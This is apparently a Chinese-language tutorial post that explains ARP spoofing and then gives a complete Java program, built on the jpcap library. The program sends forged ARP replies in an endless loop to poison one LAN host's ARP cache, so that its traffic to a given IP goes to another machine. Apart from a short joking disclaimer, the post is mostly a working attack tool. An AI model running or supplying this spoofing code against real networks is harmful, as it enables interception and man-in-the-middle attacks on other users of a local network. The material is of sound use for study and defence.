用Java代码实现ARP攻击


ARP攻击原理
一台电脑通过网络访问另一台电脑的时候,在数据链路层需要知道对方的MAC地址进行真正的物理通信.
而电脑上的应用程序通常都是根据另一台电脑的IP地址来和对方建立通信,这时候就需要有一个协议将IP地址解析到MAC地址,这就是ARP协议.
而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候，系统会首先检查ARP表中是否存在对应的IP地址，如果没有，则发送一个ARP广播，当某一个拥有这个MAC地址的节点收到ARP请求的时候，会创建一个ARP reply包，并发送到ARP请求的源节点，ARP Reply包中就包含了目的地节点的MAC地址，在源节点接受到这个reply后，会将目的地节点的MAC地址保存在ARP缓存表中，下一次再次请求同一 IP地址的时候，系统将会从ARP表中直接获取目的地MAC地址，而不需要再次发送ARP广播。
用ping命令举例来说, 在机器A,比如说IP是192.168.1.2中发出下面的ping命令:
ping 192.168.1.3,如果192.168.1.3这个MAC地址在机器A的ARP缓存表中不存在,这时候机器A就会发送一个ARP广播,当192.168.1.3接到广播后,会给机器A回一个ARP Reply包,其中包含了192.168.1.3的MAC地址,这是正常的ARP过程.
假设IP--MAC的对应关系为(192.168.1.3--00-1C-23-2E-A7-0E)
但是局域网内的其他机器也可向机器A发一个假的IP--MAC对应关系ARP Reply包,机器A接收到这个假的包后同样会更新自己的ARP缓存表.假设发送的为(192.168.1.3--00-1C-23-2E-A7-0A,0A实际上为192.168.1.4的MAC地址)
那么机器A再通过IP往192.168.1.3发送数据的时候,实际上却发到了192.168.1.4这台机器.
这样就到达了ARP攻击或者叫做ARP欺骗.ARP攻击只能发生在局域网内.
本文旨在举例说明ARP攻击的原理,希望看官们不要用来恶作剧你局域网的其他机器,要不你的网管很快就会面谈你滴...

下面用JAVA代码模拟一下上面说到的ARP欺骗.
192.168.1.4将一个192.168.1.3的假的MAC地址发给 192.168.1.2.
需要用到jpcap.jar,可以从http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/download.html下载.

  1. package com.test.arp;  
  2. import java.net.InetAddress;  
  3. import jpcap.JpcapCaptor;  
  4. import jpcap.JpcapSender;  
  5. import jpcap.NetworkInterface;  
  6. import jpcap.packet.ARPPacket;  
  7. import jpcap.packet.EthernetPacket;  
  8.   
  9. public class SendFakeARP {  
  10.     static byte[] stomac(String s) {  
  11.         byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };  
  12.         String[] s1 = s.split("-");  
  13.         for (int x = 0; x < s1.length; x++) {  
  14.             mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);  
  15.         }  
  16.         return mac;  
  17.     }  
  18.     public static void main(String[] args) throws Exception {  
  19.         int time = 2;  // 重发间隔时间   
  20.         InetAddress desip = InetAddress.getByName("192.168.1.2");// 被欺骗的目标IP地址   
  21.         byte[] desmac = stomac("00-1c-23-3c-41-7f");// 被欺骗的目标目标MAC数组   
  22.         InetAddress srcip = InetAddress.getByName("192.168.1.3");// 源IP地址   
  23.         byte[] srcmac = stomac("00-1C-23-2E-A7-0A"); // 假的MAC数组   
  24.         // 枚举网卡并打开设备   
  25.         NetworkInterface[] devices = JpcapCaptor.getDeviceList();  
  26.         NetworkInterface device = devices[1];  
  27.         JpcapSender sender = JpcapSender.openDevice(device);  
  28.         // 设置ARP包   
  29.         ARPPacket arp = new ARPPacket();  
  30.         arp.hardtype = ARPPacket.HARDTYPE_ETHER;  
  31.         arp.prototype = ARPPacket.PROTOTYPE_IP;  
  32.         arp.operation = ARPPacket.ARP_REPLY;  
  33.         arp.hlen = 6;  
  34.         arp.plen = 4;  
  35.         arp.sender_hardaddr = srcmac;  
  36.         arp.sender_protoaddr = srcip.getAddress();  
  37.         arp.target_hardaddr = desmac;  
  38.         arp.target_protoaddr = desip.getAddress();  
  39.         // 设置DLC帧   
  40.         EthernetPacket ether = new EthernetPacket();  
  41.         ether.frametype = EthernetPacket.ETHERTYPE_ARP;  
  42.         ether.src_mac = srcmac;  
  43.         ether.dst_mac = desmac;  
  44.         arp.datalink = ether;  
  45.         // 发送ARP应答包   
  46.         while (true) {  
  47.             System.out.println("sending arp..");  
  48.             sender.sendPacket(arp);  
  49.             Thread.sleep(time * 1000);  
  50.         }  
  51.     }  
  52. }  

相关内容